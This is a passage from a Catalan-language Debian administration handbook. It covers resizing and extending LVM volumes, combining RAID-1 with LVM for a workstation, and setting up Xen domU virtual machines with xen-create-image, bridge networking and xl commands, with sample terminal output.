No obstant això, cal tenir en compte que la disposició dels elements LVM (volums físics i lògics, i grups de volums) està reflectida a /etc/lvm/backup, que pot ser útil en cas de problema (o simplement per mirar-hi de reüll).

Per facilitar les coses, també es creen enllaços simbòlics de conveniència als directoris que coincideixen amb els VG:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_backups -> ../dm-2

Els LV es poden utilitzar exactament com a particions estàndard:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 24K 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

Des del punt de vista de les aplicacions, l'escampall de petites particions s'han abstret en un volum gran de 12 GB, i amb un nom més amistós.

12.1.2.3. LVM amb el temps

Tot i que la capacitat d'afegir particions o discos físics és convenient, aquest no és el principal avantatge aportat per l'LVM. La flexibilitat que aporta es percep especialment a mesura que passa el temps, quan les necessitats evolucionen. En el nostre exemple, suposem que s'han d'emmagatzemar nous fitxers grans, i que el LV dedicat al servidor de fitxers és massa petit per contenir-los. Com que no hem utilitzat tot l'espai disponible de vg_critical, podem fer créixer lv_files. Per a aquest propòsit, utilitzarem la comanda lvresize, i després reize2fs per adaptar el sistema de fitxers en conseqüència:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.46.2 (28-Feb-2021) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

COMPTE Redimensionat de sistemes de fitxers

No tots els sistemes de fitxers es poden redimensionar en calent; per tant, el canvi de mida d'un volum pot requerir desmuntar primer el sistema de fitxers i tornar-lo a muntar després. Per descomptat, si es vol reduir l'espai assignat a un LV, primer s'ha de reduir el sistema de fitxers; l'ordre s'inverteix quan el redimensionament va en l'altra direcció: el volum lògic s'ha d'engrandir abans que el sistema de fitxers. És bastant senzill, ja que en cap moment la mida del sistema de fitxers ha de ser més gran que el dispositiu de blocs on resideix (tant si aquest dispositiu és una partició física o un volum lògic).

Els sistemes de fitxers ext3, ext4 i xfs es poden engrandir en calent, sense desmuntar; la reducció requereix desmuntar-los. El sistema de fitxers reiserfs permet el redimensionament en calent en ambdues direccions. L'antic ext2 no permet cap de les dues, i sempre requereix desmuntar-lo.

Podríem procedir de manera similar per ampliar el volum que alberga la base de dades, només hem arribat al límit d'espai disponible del VG:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 974M 883M 25M 98% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

No importa, ja que l'LVM permet afegir volums físics als grups de volums existents. Per exemple, potser ens hem adonat que la partició sdb3, que fins ara s'utilitzava fora de l'LVM, només contenia arxius que es podien moure a lv_backups. Ara podem reciclar-la i integrar-la en el grup de volums, i així recuperar un cert espai disponible. Aquest és el propòsit de l'ordre vgextend. Per descomptat, la partició s'ha de preparar com un volum físic per endavant. Una vegada que el VG s'ha ampliat, podem utilitzar ordres similars com abans per a augmentar el volum lògic i després el sistema de fitxers:

# pvcreate /dev/sdb3 Physical volume "/dev/sdb3" successfully created. # vgextend vg_critical /dev/sdb3 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <12.99g <5.99g # lvresize -L 2G vg_critical/lv_base [...] # resize2fs /dev/vg_critical/lv_base [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 886M 991M 48% /srv/base

ANANT MÉS ENLLÀ LVM avançat

LVM també serveix per a usos més avançats, on es poden especificar molts detalls a mà. Per exemple, un administrador pot ajustar la mida dels blocs que componen els volums físics i lògics, així com la seva disposició física. També és possible moure blocs entre PVs, per exemple, per ajustar el rendiment o, d'una manera més mundana, per alliberar un PV quan cal extreure el disc físic corresponent del VG (ja sigui per associar-lo a un altre VG o per treure'l de l'LVM). Les pàgines del manual que descriuen les ordres són generalment clares i detallades. Un bon punt d'entrada és la pàgina del manual lvm(8).

12.1.3. RAID o LVM?

RAID i LVM aporten avantatges indiscutibles tan aviat com es deixa enrere el cas senzill d'un ordinador d'escriptori amb un sol disc dur on el patró d'ús no canvia amb el temps. No obstant això, el RAID i el LVM avancen en dues direccions diferents, amb objectius divergents, i és legítim preguntar-se quin s'ha d'adoptar. La resposta més apropiada dependrà, per descomptat, dels requisits actuals i dels previstos.

Hi ha alguns casos senzills en els quals la pregunta no realment no sorgeix. Si el requisit és salvaguardar les dades contra les fallades del maquinari, llavors és obvi que s'instal·larà un RAID en un conjunt redundant de discos, ja que l'LVM no s'ocupa realment d'aquest problema. Si, d'altra banda, la necessitat és un esquema d'emmagatzematge flexible on els volums es fan independents de la disposició física dels discs, RAID no hi ajuda molt i LVM serà l'elecció natural.

NOTA Si el rendimient importa…

Si la velocitat d'entrada/sortida és essencial, especialment en termes de temps d'accés, utilitzar LVM i/o RAID en una de les moltes combinacions pot tenir algun impacte en el rendiment, i això pot influir en les decisions sobre quin triar. No obstant això, aquestes diferències en el rendiment són realment menors i només es poden mesurar en alguns casos d'ús. Si el rendiment importa, el millor guany que s'obtindria seria utilitzar mitjans d'emmagatzematge no rotatoris (unitats d'estat sòlid o SSDs); el seu cost per megabyte és més alt que el de les unitats de disc dur estàndard, i la seva capacitat és generalment menor, però proporcionen un rendiment excel·lent per a accessos aleatoris. Si el patró d'ús inclou moltes operacions d'entrada/sortida disperses per tot el sistema de fitxers, per exemple per a bases de dades on les consultes complexes s'executen de manera rutinària, llavors l'avantatge d'executar-les en un SSD supera amb escreix el que es podria obtenir mitjançant la tria de l'LVM sobre RAID o a l'inrevés. En aquestes situacions, l'elecció ha de ser determinada per altres consideracions que la pura velocitat, ja que l'aspecte del rendiment es resol més fàcilment mitjançant l'ús d'SSD.

El tercer cas d'ús notable és quan només es vol agrupar dos discos en un volum, ja sigui per motius de rendiment o per tenir un sistema de fitxers únic que sigui més gran que qualsevol dels discos disponibles. Aquest cas es pot abordar tant per un RAID-0 (o fins i tot per un RAID lineal) com per un volum LVM. En aquesta situació, i sense restriccions addicionals (per exemple, mantenint-se en consonància amb la resta dels ordinadors si aquests només utilitzen RAID), la configuració escollida sovint serà LVM. La instal·lació inicial és poc més complexa, i aquest lleuger augment de la complexitat és més que el que compensa la flexibilitat addicional que aporta l'LVM si els requisits canvien o si cal afegir nous discos.

Després està, per descomptat, el cas d'ús realment interessant, en el qual el sistema d'emmagatzematge ha de ser resistent a fallades del maquinari i flexible pel que fa a l'assignació de volums. Ni RAID ni LVM poden abordar els dos requisits pel seu compte; tant se val, aquí és on els utilitzem tots dos alhora, o més aviat, un sobre l'altre. L'esquema que s'ha convertit en un estàndard des que RAID i LVM han arribat a la maduresa és assegurar la redundància de dades primer agrupant els discos en un petit nombre de grans conjunts RAID, i utilitzar aquests conjunts RAID com a volums físics LVM; les particions lògiques es treuran d'aquests LV per a sistemes de fitxers. El punt fort d'aquesta configuració és que quan un disc falla, només un petit nombre de conjunts RAID hauran de ser reconstruïts, limitant així el temps que l'administrador dedica a la recuperació.

Prenguem un exemple concret: el departament de relacions públiques de Falcot Corp necessita una estació de treball per a l'edició de vídeo, però el pressupost del departament no permet invertir en maquinari de gamma alta de cop. Es pren la decisió d'afavorir el maquinari que és específic de la naturalesa gràfica de la feina (monitor i targeta de vídeo), i d'estalviar amb maquinari genèric per a l'emmagatzematge. No obstant això, com és àmpliament conegut, el vídeo digital té alguns requisits particulars per al seu emmagatzematge: la quantitat de dades a emmagatzemar és gran, i la taxa de rendiment per llegir i escriure aquestes dades és important per al rendiment general del sistema (més que el temps d'accés típic, per exemple). Aquestes restriccions s'han de complir amb maquinari genèric, en aquest cas dues unitats de disc dur SATA de 300 GB; les dades del sistema també s'han de fer resistents a fallades de maquinari, així com algunes de les dades de l'usuari. Els videoclips editats han de ser segurs, però els vídeos pendents d'edició són menys crítics, ja que encara estan en cintes de vídeo.

RAID-1 i LVM es combinen per satisfer aquestes restriccions. Els discos es connecten a dos controladors SATA diferents per optimitzar l'accés paral·lel i reduir el risc d'una fallada simultània, i per tant apareixen com sda i sdc. Es particionen de manera idèntica seguint el següent esquema:

# sfdisk -l /dev/sda Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors Disk model: SAMSUNG MZ7LM960 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012 Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 100667391 100663296 48G Linux RAID /dev/sda3 100667392 134221823 33554432 16G Linux RAID /dev/sda4 134221824 763367423 629145600 300G Linux RAID /dev/sda5 763367424 1392513023 629145600 300G Linux RAID /dev/sda6 1392513024 1875384974 482871951 230.3G Linux LVM

Les primeres particions d'ambdós discos són particions d'arrencada BIOS.

Les següents dues particions sda2 i sdc2 (al voltant de 48 GB) s'uneixen en un volum RAID-1, md0. Aquest mirall s'utilitza directament per emmagatzemar el sistema de fitxers arrel.

Les particions sda3 i sdc3 s'uneixen per formar un volum RAID-0, md1, que s'usa com a partició d'intercanvi oferint u total de 32 GB d'espai. Els sistemes moderns poden disposar de molta RAM i el nostre sistema no necessitarà la hibernació. Així que amb aquesta quantitat afegida, el nostre sistema probablement no farà curt de memòria.

Les particions sda4 i sdc4, així com sda5 i sdc5, s'uneixen en dos nous volums RAID-1 d'uns 300 GB cadascun, md2 i md3 . Aquests dos miralls s'inicialitzen com a volums físics per l'LVM, i s'assignen al grup de volums vg_raid. Aquest VG conté aproximadament 600 GB d'espai segur.

Les particions restants, sda6 i sdc6, s'utilitzen directament com a volums físics, i s'assignen a un altre VG anomenat vg_bulk, que per tant acaba amb aproximadament 460 GB d'espai.

Una vegada que es creen els VG, es poden particionar d'una manera molt flexible. Cal tenir en compte que els LV creats a vg_raid es conservaran fins i tot si falla un dels discos, que no serà el cas dels LV creats a vg_bulk; d'altra banda, aquest últim s'assignarà en paral·lel en ambdós discos, fet que permet una major velocitat de lectura o escriptura per a fitxers grans.

Per tant, crearem els LV lv_var i lv_home a vg_raid per acollir els sistemes de fitxers corresponents; un altre LV gran, lv_movies, s'utilitzarà per allotjar les versions definitives de les pel·lícules després de l'edició. L'altre VG es dividirà en un gran lv_rushes per a dades acabades d'obtenir de les càmeres de vídeo digital, i un lv_tmp per a fitxers temporals. La ubicació de l'àrea de treball és una opció menys senzilla de decidir: encara que es necessita un bon rendiment per a aquest volum, val la pena arriscar-se a perdre el treball si un disc falla durant una sessió d'edició? Depenent de la resposta a aquesta pregunta, el LV rellevant es crearà en un VG o l'altre.

Ara tenim una certa redundància per a les dades importants i molta flexibilitat en la forma en què es divideix l'espai disponible entre les aplicacions.

NOTA Per què tres volums RAID-1?

Podríem haver establert un únic volum RAID-1 per servir com un volum físic per vg_raid. Per què crear-ne tres, doncs?

La raó per a la primera divisió (md0 vs els altres) rau en la seguretat de les dades: les dades escrites a ambdós elements d'un mirall RAID-1 són exactament les mateixes, i per tant és possible evitar la capa RAID i muntar un dels discs directament. En cas d'un error del nucli, per exemple, o si les metadades LVM es corrompen, encara és possible arrencar un sistema mínim per accedir a les dades crítiques com ara la disposició dels discos en els volums RAID i LVM; les metadades es poden reconstruir i els fitxers es poden tornar a accedir, de manera que el sistema es pugui tornar al seu estat normal.

La raó per a la segona divisió (md2 vs.md3) és menys clara, i més relacionada amb reconèixer que el futur és incert. Quan l'estació de treball es munta per primera vegada, els requisits d'emmagatzematge exactes no es coneixen necessàriament amb precisió perfecta; i també poden evolucionar amb el temps. En el nostre cas, no podem saber per endavant els requisits reals d'espai d'emmagatzematge per a les descàrregues de vídeos i ni de vídeos acabats. Si un clip en particular necessita una gran quantitat de descàrregues, i el VG dedicat a les dades redundants està per sota de la meitat, podem reutilitzar part del seu espai innecessari. Podem eliminar un dels volums físics, sigui md3, de vg_raid i assignar-lo directament a vg_bulk (si la durada esperada de l'operació és prou curta com per poder passar amb la baixada temporal en el rendiment), o desfer la configuració RAID de md3 i integrar els seus components sda5 i sdc5 a la VG (que creix en 600 GB en lloc de 300 GB); el volum lògic lv_rushes llavors es pot fer créixer segons els requeriments.

12.2. Virtualització

La virtualització és un dels avenços més importants en els últims anys de la informàtica. El terme cobreix diverses abstraccions i tècniques per simular ordinadors virtuals amb un grau variable d'independència respecte el maquinari real. Un servidor físic pot albergar diversos sistemes que treballen al mateix temps i de forma aïllada. Les aplicacions són moltes, i sovint deriven d'aquest aïllament: entorns de prova amb configuracions diferents, per exemple, o separació de serveis allotjats a través de diferents màquines virtuals per seguretat.

Hi ha múltiples solucions de virtualització, cadascuna amb els seus propis avantatges i inconvenients. Aquest llibre se centrarà en Xen, LXC i KVM, però altres implementacions notables inclouen:

QEMU és un emulador de programari per a un ordinador complet; el rendiment està lluny de la velocitat que es podria aconseguir executant nativament, però això permet executar sistemes operatius no modificats o experimentals en el maquinari emulat. També permet emular una arquitectura de maquinari diferent: per exemple, un sistema amd64 pot emular un ordinador arm. QEMU és programari lliure.

→ https://qemu.org/

Bochs és una altra màquina virtual lliure, però només emula les arquitectures x86 (i386 i amd64).

VMWare és una màquina virtual propietària; sent una de les més antigues que hi ha, també és una de les més ben conegudes. Funciona sobre principis similars a QEMU. VMWare proposa característiques avançades com ara la “captura d'instantànies” («snapshotting» en anglès) d'una màquina virtual en execució.

→ https://vmware.com/

VirtualBox és una màquina virtual que és principalment programari lliure (alguns components addicionals estan disponibles sota una llicència propietària). Malauradament està a la secció de Debian “contrib” perquè inclou alguns fitxers precompilats que no es poden generar sense un compilador propietari, i actualment només es troba a Debian Unstable, ja que les polítiques d'Oracle fan impossible mantenir-lo segur en una versió estable de Debian (vegeu )#794466). Encara que més jove que VMWare i restringit a les arquitectures i386 i amd64, inclou poder fer “instantànies” i altres característiques interessants.

→ https://www.virtualbox.org/

MAQUINARI Suport de virtualització

Alguns ordinadors podrien no tenir suport per virtualització al maquinari; quan el tenen, hauria d'estar habilitat a la BIOS.

Per saber si teniu habilitat el suport de virtualització, podeu comprovar si la marca rellevant està habilitada amb grep. Si la següent ordre per al vostre processador retorna algun text, ja teniu el suport de virtualització habilitat:

Per als processadors d'Intel podeu executar grep vmx /proc/cpuinfo per comprovar les extensions per màquina virtual d'Intel.

Per als processadors AMD podeu executar grep svm /proc/cpuinfo per comprovar la «Secure Virtual Machine» (o “màquina virtual segura”) d'AMD.

Si aquest no és el cas, podeu accedir a la BIOS del vostre sistema i comprovar si hi ha entrades com ara «Intel Virtualization Technology»/«Intel VT-x» o «SVM Mode» (AMD) ‐ normalment ubicades a la configuració de la CPU a la secció de configuració avançada.

12.2.1. Xen

Xen és una solució de “paravirtualització”. Presenta una capa d'abstracció prima, anomenada “hipervisor”, entre el maquinari i els sistemes superiors; això actua com un àrbitre que controla l'accés al maquinari de les màquines virtuals. Tanmateix, només gestiona algunes de les instruccions, la resta és directament executada pel maquinari en nom del sistema. L'avantatge principal és que el rendiment no queda degradat, i els sistemes s'executen gairebé la velocitat nativa; l'inconvenient és que els nuclis dels sistemes operatius que es volen utilitzar en un hipervisor de Xen s'han d'adaptar per treballar amb Xen.

Passem una mica de temps amb els termes. L'hipervisor és la capa inferior, que funciona directament en el maquinari, fins i tot per sota del nucli. Aquest hipervisor pot dividir la resta del programari en diversos dominis, que es poden veure com a tantes màquines virtuals. Un d'aquests dominis (el primer que comença) és conegut com dom0, i té un paper especial, ja que només aquest domini pot controlar l'hipervisor i l'execució d'altres dominis. Aquests altres dominis es coneixen com domU. En altres paraules, i des del punt de vista de l'usuari, el dom0 coincideix amb l'“amfitrió” d'altres sistemes de virtualització, mentre que un domU pot ser vist com un “convidat”.

CULTURA Xen i les diverses versions de Linux

Xen es va desenvolupar inicialment com un conjunt de pedaços que existien fora de l'arbre oficial, i no integrats al nucli de Linux. Al mateix temps, diversos sistemes de virtualització que anaven apareixen (incloent-hi KVM) requerien algunes funcions genèriques relacionades amb la virtualització per facilitar-ne la integració, i el nucli de Linux va guanyar aquest conjunt de funcions (conegudes com a paravirt_ops o pv_ops). Com que els pedaços de Xen estaven duplicant algunes de les funcionalitats d'aquesta interfície, no es podien acceptar oficialment.

Xensource, l'empresa darrere de Xen, va haver de portar Xen a aquest nou marc, de manera que els pedaços de Xen es podrien fusionar amb el nucli oficial de Linux. Això va significar una gran quantitat de reescriptura de codi, i tot i que Xensource aviat va tenir una versió de treball basada en la interfície paravirt_ops, els pedaços només es van fusionar progressivament en el nucli oficial. La fusió es va completar a Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Atès que Jessie es basa en la versió 3.16 del nucli de Linux, els paquets estàndard linux-image-686-pae i linux-image-amd64 inclouen el codi necessari, i el pedaços específics per a la distribució que es requerien per a Squeeze i versions anteriors de Debian ja no calen.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURA Xen i nuclis no Linux

Xen requereix modificacions a tots els sistemes operatius que es volen executar; no tots els nuclis tenen el mateix nivell de maduresa en aquest sentit. Molts són totalment funcionals, tant com a dom0 i com a domU: Linux 3.0 i posteriors, NetBSD 4.0 i posteriors, i OpenSolaris. Altres només funcionen com a domU. Podeu comprovar l'estat de cada sistema operatiu a la wiki de Xen:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

No obstant això, si Xen pot confiar en les funcions de maquinari dedicades a la virtualització (que només estan presents en processadors més recents), fins i tot els sistemes operatius no modificats poden funcionar com domU (incloent-hi Windows).

NOTA Arquitectures compatibles amb Xen

Xen actualment només està disponible per a les arquitectures i386, amd64, arm64 i armhf.

L'ús de Xen amb Debian requereix tres components:

L'hipervisor mateix. D'acord amb el maquinari disponible, el paquet apropiat proveint xen-hypervisor serà xen-hipervisor-4.14-amd64, xen-hipervisor-4.14-armhf, o xen-hipervisor-4.14-arm64.

Un nucli que s'executi sobre aquest hipervisor. Qualsevol nucli més recent que el 3.0 ho farà, incloent-hi la versió 5.10 present a Bullseye.

L'arquitectura i386 també requereix una biblioteca estàndard amb els pedaços apropiats que aprofiten Xen; això es troba al paquet libc6-xen.

L'hipervisor també porta xen-utils-4.14, que conté eines per controlar l'hipervisor des de la dom0. Això, al seu torn, porta la biblioteca estàndard apropiada. Durant la instal·lació de tot això, els scripts de configuració també creen una nova entrada al menú d'arrencada de GRUB, per tal d'iniciar el nucli escollit en un Xen dom0. No obstant això, cal tenir en compte que aquesta entrada no sol ser la primera de la llista, però serà seleccionada per defecte.

Una vegada instal·lats aquests requisits previs, el següent pas és provar el comportament del dom0 per si mateix; això implica un reinici cap a l'hipervisor i el nucli Xen. El sistema hauria d'arrencar en la seva forma estàndard, amb alguns missatges addicionals a la consola durant els primers passos d'inicialització.

Ara és el moment d'instal·lar sistemes útils en els sistemes domU, utilitzant les eines de xen-tools. Aquest paquet proporciona l'ordre xen-create-image, que en gran part automatitza la tasca. L'únic paràmetre obligatori és --hostname, que dóna un nom a la domU; altres opcions són importants, però es poden desar al fitxer de configuració /etc/xen-tools/xen-tools.conf, i la seva absència a la línia d'ordres no activa cap error. Per tant, és important comprovar el contingut d'aquest fitxer abans de crear imatges, o utilitzar paràmetres addicionals en la invocació de xen-create-image. Els paràmetres importants a tenir en compte inclouen:

--memory, per especificar la quantitat de RAM dedicada al sistema acabat de crear;

--size i --swap, per definir la mida dels "discos virtuals" disponibles per al domU;

--debootstrap-cmd, per especificar quina ordre de debootstrap s'utilitza. El valor per defecte és debootstrap si debootstrap i cdebootstrap estan instal·lats. En aquest cas, l'opció --dist també s'utilitzarà més sovint (amb un nom de distribució com ara bullseye).

ANANT MÉS ENLLÀ Instal·lació d'un sistema diferent de Debian en un domU

En el cas d'un sistema no Linux, s'ha de tenir cura de definir el nucli que el domU ha d'utilitzar, utilitzant l'opció --kernel.

--dhcp indica que la configuració de la xarxa de domU s'ha d'obtenir mitjançant DHCP, mentre que --ip permet definir una adreça IP estàtica.

Finalment, s'ha de triar un mètode d'emmagatzematge per a les imatges que es crearan (aquelles que es veuran com a discos durs des de la domU). El mètode més simple, que correspon a l'opció --dir, és crear un fitxer al dom0 per a cada dispositiu que s'ha de proporcionar al domU. Per a sistemes que utilitzen LVM, l'alternativa és utilitzar l'opció --lvm, seguida pel nom d'un grup de volums; xen-create-image crearà un nou volum lògic dins d'aquest grup, i aquest volum lògic estarà disponible a la domU com a disc dur.

NOTA Emmagatzematge al domU

Discos durs sencers també es poden exportar al domU, així com particions, conjunts RAID o volums lògics LVM preexistents. Aquestes operacions no estan automatitzades per xen-create-image, de manera que l'edició del fitxer de configuració de la imatge Xen serà necessària després de la seva creació inicial amb xen-create-image.

Una vegada que es prenen aquestes decisions, podem crear la imatge per al nostre futur domU de Xen:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev General Information -------------------- Hostname : testxen Distribution : bullseye Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Bootloader : pygrub [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : bullseye MAC Address : 00:16:3E:C2:07:EE IP Address(es) : dynamic SSH Fingerprint : SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA) SSH Fingerprint : SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA) SSH Fingerprint : SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519) SSH Fingerprint : SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA) Root Password : FS7CUxsY3xkusv7EkbT9yae

Ara tenim una màquina virtual, però actualment no s'està executant (i, per tant, només utilitza espai al disc dur del dom0). Per descomptat, podem crear més imatges, possiblement amb paràmetres diferents.

Abans d'engegar aquestes màquines virtuals, hem de definir com s'accediran. Per descomptat, es poden considerar màquines aïllades, només accessibles a través de la seva consola de sistema, però això rarament coincideix amb el patró d'ús. La major part del temps, un domU es considerarà un servidor remot, i només s'accedirà a través d'una xarxa. No obstant això, seria bastant incòmode afegir una targeta de xarxa per a cada domU; per això Xen permet crear interfícies virtuals que cada domini pot veure i utilitzar de manera habitual. Tingueu en compte que aquestes targetes, encara que siguin virtuals, només seran útils una vegada connectades a una xarxa, fins i tot una de virtual. Xen té diversos models de xarxa per a això:

El model més simple és el model bridge; totes les targetes de xarxa eth0 (tant al dom0 com als sistemes domU) es comporten com si estiguessin connectades directament a un commutador Ethernet.

Després ve el model d'encaminament, on el dom0 es comporta com un encaminador que es troba entre els sistemes domU i la xarxa externa (física).

Finalment, en el model NAT, el dom0 es troba de nou entre els sistemes domU i la resta de la xarxa, però els sistemes domU no són directament accessibles des de l'exterior, i el trànsit passa a través d'una traducció d'adreces de xarxa a la dom0.

Aquests tres nodes de xarxa impliquen una sèrie d'interfícies amb noms inusuals, com vif*, veth*, peth* i xenbr0. L'hipervisor Xen disposa en qualsevol disposició que s'hagi definit, sota el control de les eines d'espai d'usuari. Com que els models NAT i d'encaminament només estan adaptats a casos particulars, només ens ocuparem del model de pont («bridging»).

La configuració estàndard dels paquets Xen no canvia la configuració de xarxa del sistema. No obstant això, el dimoni xend està configurat per integrar les interfícies de xarxa virtuals en qualsevol pont de xarxa preexistent (amb xenbr0 tenint precedència si existeixen diversos d'aquests ponts). Per tant, hem d'establir un pont a /etc/network/interfaces (que requereix la instal·lació del paquet bridge-utils, que és el motiu pel qual el paquet xen-utils-4.14 el recomana) per reemplaçar l'entrada eth0 existent (però sigueu curosos d'usar el nom del dispositiu de xarxa correcte:

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

Després de reiniciar per assegurar-se que el pont es crea automàticament, ara podem iniciar el domU amb les eines de control Xen, en particular l'ordre xl. Aquesta ordre permet diferents manipulacions als dominis, incloent-hi llistar-los i iniciar/aturar-los. És possible incrementar la memòria per defecte editant la variable memòria del fitxer de configuració (en aquest cas, /etc/xen/testxen.cfg). Aquí l'hem establert a 1024 (megabytes).

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 3918 2 r----- 35.1 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 2757 2 r----- 45.2 testxen 3 1024 1 r----- 1.3

EINA Tria de conjunts d'eines per gestionar Xen VM

En Debian 7 i versions anteriors, xm va ser l'eina de referència en línia d'ordres que es va utilitzar per gestionar les màquines virtuals de Xen. Ara ha estat substituïda per xl que és majoritàriament compatible amb versions anteriors. Però aquestes no són les úniques eines disponibles: virsh de libvirt i xe de XenServer's XAPI (oferiment comercial de Xen) són eines alternatives.

COMPTE Només un domU per imatge!

Tot i que és possible tenir diversos sistemes domU funcionant en paral·lel, tots ells hauran d'utilitzar la seva pròpia imatge, ja que cada domU creu que funciona en el seu propi maquinari (tret de la petita part del nucli que parla amb l'hipervisor). En particular, no és possible que dos sistemes domU que s'executen simultàniament comparteixin espai d'emmagatzematge. Si els sistemes domU no s'executen al mateix temps, és molt possible reutilitzar una única partició d'intercanvi, o la partició que alberga el sistema de fitxers /home.

Tingueu en compte que el domU testxen utilitza memòria real, no simulada, presa de la RAM que d'altra manera estaria disponible per a la memòria dom0. Per tant, s'hauria de tenir cura quan es munti un servidor destinat a albergar instàncies Xen de proveir la RAM física en conseqüència.

Voilà! La nostra màquina virtual està iniciant-se. Podem accedir-hi de dues maneres. La forma habitual és connectar-s'hi “remotament” a través de la xarxa, ja que ens connectaríem a una màquina real; això sol requerir la creació d'un servidor DHCP o alguna configuració DNS. L'altra manera, que pot ser l'única via si la configuració de xarxa és incorrecta, és utilitzar la consola hvc0, amb l'ordre xl console:

# xl console testxen [...] Debian GNU/Linux 11 testxen hvc0 testxen login:

Llavors es pot obrir una sessió, com si s'estigués assegut al teclat de la màquina virtual. Desconnectar-te d'aquesta consola s'aconsegueix a través de la combinació de tecles Control+].

SUGGERIMENT Accedir a la consola immediatament

A vegades es vol iniciar un sistema domU i entrar a la seva consola immediatament; per això l'ordre xl create té una opció -c. Si inicieu un domU amb aquesta opció es mostraran tots els missatges de l'engegada del sistema.

EINA gestors gràfics Xen

OpenXenManager (del paquet openxenmanager), una interfície gràfica que permet la gestió remota dels dominis Xen a través de l'API de Xen, ja no s'ofereix a Debian degut a la manca de desenvolupament de l'original. Si esteu buscant una alternativa, virt-manager ofereix suport per a manegar també màquines virtuals Xen.

Una vegada que el domU està engegat, es pot utilitzar com qualsevol altre servidor (ja que després de tot és un sistema GNU/Linux). Tanmateix, el seu estat de la màquina virtual permet algunes característiques addicionals. Per exemple, un domU pot ser pausat temporalment i després es pot reprendre amb les ordres xl pause i xl unpause. Tingueu en compte que, tot i que un domU en pausa no utilitza cap cicle de processador, la seva memòria assignada encara està en ús. Pot ser interessant considerar les ordres xl save i xl restore: desar («save») un domU allibera els recursos que anteriorment eren usats per aquest domU, incloent-hi la RAM. Quan es restaura (o es reprèn, que ve a ser el mateix en aquest cas), un domU no se n''adona de res més enllà temps que pugui haver passat. Si un domU s'estava executant quan el dom0 s'atura, els scripts inclosos automàticament desaran el domU, i el reprendran a la següent arrencada. Això implicarà, per descomptat, les molèsties habituals en la hibernació d'un ordinador portàtil, per exemple; en particular, si el domU està suspès durant massa temps, les connexions de xarxa poden expirar. Cal tenir en compte que Xen és fins ara incompatible amb una gran part de la gestió d'energia ACPI, que exclou la possibilitat de suspensió del sistema amfitrió (dom0).

L'aturada o el reinici d'un domU es pot fer des del domU (amb l'ordre shutdown) o des del dom0 amb xl shutdown o xl reboot).

